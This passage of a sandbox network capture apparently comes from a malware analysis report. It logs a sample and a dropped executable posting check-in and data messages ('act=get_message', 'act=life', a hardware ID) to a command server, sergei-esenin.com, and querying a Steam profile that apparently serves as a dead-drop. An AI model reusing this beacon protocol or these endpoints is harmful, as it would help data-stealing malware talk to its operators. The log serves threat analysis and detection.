!^OyQ$vvL}79o6Xd%Zq A
2024-10-24 02:01:39 UTC	15331	OUT	Data Raw: 3f 06 7c 1c c6 e7 2d 7b 08 51 fe 8c e5 ed 3b 8b 29 73 ee 72 21 f0 68 f7 8a a5 64 5d 85 86 ed 8f 22 74 db fb 39 28 4c 0d 10 c5 5c ff cb c2 22 0e 64 fa 83 b7 26 e4 c2 5f af 19 57 01 25 87 f0 32 49 88 de 1a 34 8b 64 ae ed 86 a4 99 fc 84 d6 02 25 54 9f d0 f6 51 15 ad e0 95 28 3d 46 36 b1 15 65 cc bf 11 45 5a 0a 8b be 2b d6 27 32 35 f4 d6 ab fa 9d 85 54 d8 6f 54 1e 25 91 69 d5 0b 97 b0 d1 ad 56 35 e9 69 e1 51 71 13 ab fc 47 a1 05 27 9c 80 1a 2d 5c 8d 07 4e bf d7 c9 cb fa 75 b2 ab dc 3f 87 7d bf 64 ee 41 49 22 53 88 75 52 2e 61 c8 45 60 c1 ec 50 50 9d 73 b4 5a 88 de ee 8a 3d 1c b1 ab 6c f9 9f 52 de 9b 8f 09 6f b6 74 1d 68 6e 04 c9 ea e8 b3 04 2f ec f9 2e d9 21 b9 a1 54 55 cc 19 96 cb 45 83 64 62 5b 7d 98 9a 80 29 bd 55 80 8c a5 de b5 bc 0a f2 4f ac fa c8 b9 4c Data Ascii: ?\|-{Q;)sr!hd]"t9(L\"d&_W%2I4d%TQ(=F6eEZ+'25ToT%iV5iQqG'-\Nu?}dAI"SuR.aE`PPsZ=lRothn/.!TUEdb[})UOL
2024-10-24 02:01:39 UTC	15331	OUT	Data Raw: 3c 63 fb 3c d4 f8 ea 4e e6 b8 03 4d b9 5d 28 4f 81 cd 7f 3c e2 d7 ba bb 2b e5 22 46 57 14 bb af b8 11 4d cb bc 00 df e1 c9 30 83 d7 65 74 51 ce 90 45 30 69 d2 2a bd b1 89 53 14 5f f5 f9 52 82 59 d1 96 f7 c5 71 dc 62 10 a0 3e 3e 39 bc d5 b8 83 6c 5f 51 38 36 3c 12 4b d2 67 21 35 73 1c 26 5a e1 eb 5b 6b 5e fc f3 e0 83 c8 77 01 28 ce e9 8a 35 65 61 c8 b4 99 2c 06 eb da 4b a0 8d ca 80 17 84 4f 13 11 4e db f1 c5 cc 2c c2 df 2c 23 01 9f ee 32 88 c9 9b 23 61 03 4b 7f 8b b3 30 e1 3d 9c c6 79 4a cb 8f f5 93 d5 99 96 a6 79 fa 8c bb 9c ef b1 b9 09 22 94 bc 4c fc 31 24 64 e5 15 81 21 64 b1 57 a3 a5 78 b1 4a 22 89 11 91 ab 86 fe 3c e7 db 27 d4 e4 65 f3 ef 5e 95 c7 a7 41 5b 7e 03 44 77 ee b9 b3 12 0d 3f 09 2e fb 6e 37 df 1e 67 bb 7d ba 25 99 31 29 70 04 5d e0 d7 6c d4 Data Ascii: <c<NM](O<+"FWM0etQE0i*S_RYqb>>9l_Q86<Kg!5s&Z[k^w(5ea,KON,,#2#aK0=yJy"L1$d!dWxJ"<'e^A[~Dw?.n7g}%1)p]l
2024-10-24 02:01:39 UTC	15331	OUT	Data Raw: 39 67 3f c5 2a 40 3d 8f c8 a7 e2 28 27 a7 3c 87 a3 75 e0 57 90 e0 7d de 76 9c 43 22 77 23 d4 04 8e ed c0 c3 08 6e e5 32 ce 2a d4 b3 ec 86 70 ca 59 a1 93 24 91 8d 65 53 11 fd 76 e9 07 b0 7b 10 32 41 47 48 72 d2 68 d7 89 f1 ea 47 12 f9 0e f6 17 1a 32 25 0f e7 65 9b 22 02 ec 7b 71 9e b8 ac a8 b8 70 01 67 aa eb 80 8b 26 37 0a 30 c6 4f 93 60 d4 cb cb 42 af 97 f5 90 9b 2b 26 1d dc ef 19 25 01 7c 99 f3 f5 26 f2 a7 50 38 24 1b 45 47 ed 99 68 33 a1 62 80 b0 b0 f0 52 f7 8f 3c 9f 57 0a e4 6a 5b 14 6e 4e 18 65 20 1f 66 9b 7b 50 7e 21 65 fb d6 38 01 77 45 cb e1 00 6e 98 ac 45 21 1c 8a 85 16 01 5f 9e f5 5b 71 ce 04 df 55 81 30 b0 76 6b b3 52 a5 aa b8 47 55 88 1e 18 a6 3c a8 46 ca 80 29 26 d2 61 57 e0 ba 34 4c 0a 9c d5 3f 6c 44 8b 8f 79 d0 68 55 8d 3c dd 13 e0 ad 14 29 Data Ascii: 9g?@=('<uW}vC"w#n2pY$eSv{2AGHrhG2%e"{qpg&70O`B+&%\|&P8$EGh3bR<Wj[nNe f{P~!e8wEnE!_[qU0vkRGU<F)&aW4L?lDyhU<)
2024-10-24 02:01:39 UTC	15331	OUT	Data Raw: 3d 8e 21 34 d2 3d f9 2e d0 cf df 92 1e 31 f8 46 02 c1 b2 39 d6 f1 20 0e 50 43 5e aa 35 a8 b5 11 18 00 31 19 bb 29 b1 9b d0 68 3d 34 88 d6 57 cf c9 42 1d 66 d2 2a 78 52 1b 2e 4c 62 2d df 6d 87 31 af 10 0d 84 57 7e 9a e3 ab 98 d7 77 e6 3c 8c 23 ad d1 1e 52 b0 d2 15 57 a1 cb fb 8c cb d5 3e 13 cc 45 95 57 89 ff 52 52 48 29 38 41 ff 68 91 e9 29 60 b8 e7 ef 32 fb 14 0b 0d 10 eb 26 9c 63 02 f8 a1 73 73 6d 8c 3b a7 63 bc b9 6f a4 cd 24 66 8a ed 73 1d fe 50 3a d2 99 a9 d6 89 05 cd 75 ca ec 2b 2b e9 1d f8 f8 a8 b3 e0 69 11 a1 7d f1 c2 57 14 93 bb 07 d6 1e 9c 85 cc f7 72 81 59 33 6c 43 d5 e6 84 41 b0 50 4e 30 ec f2 ee 86 27 22 5d 7a 48 10 fb 5d 02 6f 33 07 db c6 29 88 5a 62 05 7c a0 c1 2c fd e0 76 e5 08 9f 7b e8 61 b2 fa c4 13 39 8a fe 86 08 73 f4 1a 7b e0 bd 86 de Data Ascii: =!4=.1F9 PC^51)h=4WBf*xR.Lb-m1W~w<#RW>EWRRH)8Ah)`2&cssm;co$fsP:u++i}WrY3lCAPN0'"]zH]o3)Zb\|,v{a9s{
2024-10-24 02:01:39 UTC	15331	OUT	Data Raw: 94 d1 05 33 1a 23 46 25 b8 85 13 3c a3 14 bc a6 fb 1f 06 e4 86 3d b2 e6 41 ed 25 af d3 17 73 b1 b4 a6 3d 1f 3b f6 f1 f4 d1 a9 2d bb 14 20 8a b7 b4 be 8e 70 d5 76 2c ac 10 4d d7 70 3f a6 bc b5 d2 04 49 f5 43 1c 0b 3e a0 1e 3c 58 d2 70 b8 16 87 d0 f5 22 dd 87 6a 3f be df 75 d7 5e 6d f1 a1 dc d9 4a 13 7d e4 4e 29 df 6f 80 b1 df 0f 9b df 3a 52 77 d5 87 d4 4f 9b 76 5e 89 5a c9 0f 3d 8b e1 7e 93 0f f9 65 5c 73 2d 50 80 0d 14 72 0c 69 71 2e 80 fe 8e 4c bf 0e 0a cf 90 2f 40 8c 13 d1 f4 5e 69 25 4a 80 90 ed 16 70 59 42 48 f3 b8 cc b2 cd fe 20 81 1f 67 9d 87 9b bd 87 f9 67 50 e0 98 c7 5d 8a 00 e2 c9 18 f7 ef 86 1a 04 3b 7f e4 3d 22 d0 34 52 db b5 92 0b ee 82 e4 b0 e8 1e dd 7f c7 da 49 82 a7 ce 31 7f 94 50 b0 a1 40 1b 82 1c 55 c3 63 f9 80 94 cd 20 f0 1f 50 e1 37 1e Data Ascii: 3#F%<=A%s=;- pv,Mp?IC><Xp"j?u^mJ}N)o:RwOv^Z=~e\s-Priq.L/@^i%JpYBH ggP];="4RI1P@Uc P7
2024-10-24 02:01:41 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:01:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ljidrh7ugk88ni2ecdlvet62l6; expires=Sun, 16 Feb 2025 19:48:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aUeRFZoMlTWkuPPzFaFaH%2FbRfWEjVFn56FfeKYbnoG7mkz5CweQZX9PSRvIE4DvAjHvl6mLixdYekpOFdk304ehWFmb5gSV8nX1MgSOjcaBD7inBz800fX65snaCqDOuhAOGsA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d766153fdea839e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1497&sent=209&recv=602&lost=0&retrans=0&sent_bytes=2845&recv_bytes=570277&delivery_rate=1848117&cwnd=251&unsent_bytes=0&cid=5c17f95d7de4fc47&ts=1930&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49830	104.21.53.8	443	7412	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:01:41 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=L0tmDg_cxsnyAfHCsN6guf342hOe9CeqCterdBd5cFI-1729735290-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-24 02:01:41 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 45 37 37 38 45 37 34 35 38 36 44 45 46 42 31 30 36 42 45 35 42 35 36 33 36 33 33 30 37 35 43 32 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=E778E74586DEFB106BE5B563633075C2
2024-10-24 02:01:41 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:01:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ipku9pp5mvc5brsfsjehfr75ma; expires=Sun, 16 Feb 2025 19:48:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AEIV4fSTihx8iJEpTwqRI1C%2BeoXRYhRV2uhCu%2FftFy0y%2BDJDdgBXwW%2BxofT31o4yfxP6dFathaMun6TeYF7VQ98sMSo0XYQJXlvKZowZrh3AreNE9EZ6iYmj%2Bc5dZ0bid8AQzw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d766163caa86b30-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1208&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1077&delivery_rate=2333601&cwnd=230&unsent_bytes=0&cid=f570595be3c90624&ts=341&x=0"
2024-10-24 02:01:41 UTC	299	IN	Data Raw: 31 32 34 0d 0a 44 55 76 62 71 69 2f 4e 45 6e 73 72 56 4a 4b 39 2b 55 6c 4a 73 78 65 77 34 50 79 32 7a 38 44 74 59 42 67 36 61 54 5a 4c 55 61 46 57 4d 50 6e 66 44 66 63 77 45 31 38 67 34 6f 65 6c 5a 68 57 63 4a 6f 6a 56 30 6f 54 2b 39 63 4e 52 4b 51 6c 48 42 33 30 4e 6a 6d 41 69 74 63 39 7a 34 6d 41 61 52 54 44 39 30 4e 63 73 4d 64 59 31 6e 4d 4b 61 77 75 33 36 33 55 77 36 58 30 73 4d 65 79 79 4e 64 6d 6d 75 69 42 58 76 65 67 39 66 4a 4b 6a 68 31 68 56 6d 67 69 2b 46 7a 73 36 48 2b 75 37 63 55 53 73 55 57 41 41 58 66 74 4a 35 4c 72 72 48 63 2b 4a 67 47 6b 55 77 2f 64 44 58 4c 44 48 57 4e 5a 7a 43 6d 73 4c 74 2b 74 31 4d 4f 6c 39 4c 44 48 73 73 6a 58 5a 70 72 6f 67 56 37 33 6f 50 58 79 53 6f 34 64 59 56 5a 6f 49 76 68 63 37 4f 68 2f 72 75 33 46 45 72 46 46 Data Ascii: 124DUvbqi/NEnsrVJK9+UlJsxew4Py2z8DtYBg6aTZLUaFWMPnfDfcwE18g4oelZhWcJojV0oT+9cNRKQlHB30NjmAitc9z4mAaRTD90NcsMdY1nMKawu363Uw6X0sMeyyNdmmuiBXveg9fJKjh1hVmgi+Fzs6H+u7cUSsUWAAXftJ5LrrHc+JgGkUw/dDXLDHWNZzCmsLt+t1MOl9LDHssjXZprogV73oPXySo4dYVZoIvhc7Oh/ru3FErFF
2024-10-24 02:01:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49981	104.102.49.254	443	2332	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:02:09 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 02:02:09 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 02:02:09 GMT Content-Length: 26105 Connection: close Set-Cookie: sessionid=7b60d4c5eefaf9e8532fcfae; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 02:02:09 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 02:02:09 UTC	11638	IN	Data Raw: 22 3f 6c 3d 74 63 68 69 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 63 68 69 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e7 b9 81 e9 ab 94 e4 b8 ad e6 96 87 20 28 54 72 61 64 69 74 69 6f 6e 61 6c 20 43 68 69 6e 65 73 65 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 6a 61 70 61 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6a 61 70 61 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e6 97 a5 e6 9c ac e8 aa 9e 20 28 4a Data Ascii: "?l=tchinese" onclick="ChangeLanguage( 'tchinese' ); return false;"> (Traditional Chinese)</a><a class="popup_menu_item tight" href="?l=japanese" onclick="ChangeLanguage( 'japanese' ); return false;"> (J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49996	104.102.49.254	443	2276	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:02:25 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 02:02:26 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 02:02:25 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=2772984ecad4fcad207e9ada; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 02:02:26 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 02:02:26 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-24 02:02:26 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-24 02:02:26 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	50000	104.21.53.8	443	2276	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:02:26 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-24 02:02:26 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-24 02:02:27 UTC	560	IN	HTTP/1.1 403 Forbidden Date: Thu, 24 Oct 2024 02:02:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NPkIdRZfR8lNN0yv1PzvOgVFwG3MMNjzUF9iYEr3hSP3Pgkz%2BqUXmzZEvJKxWhZHgo5clr1CLqtR%2Fcp5n4pCIGSnSplZy5NiTMN%2BDwydkCzN1cp5YNVzoTXL4wCKIeAjW2UkGA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76627e7de52c94-DFW
2024-10-24 02:02:27 UTC	809	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-24 02:02:27 UTC	1369	IN	Data Raw: 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 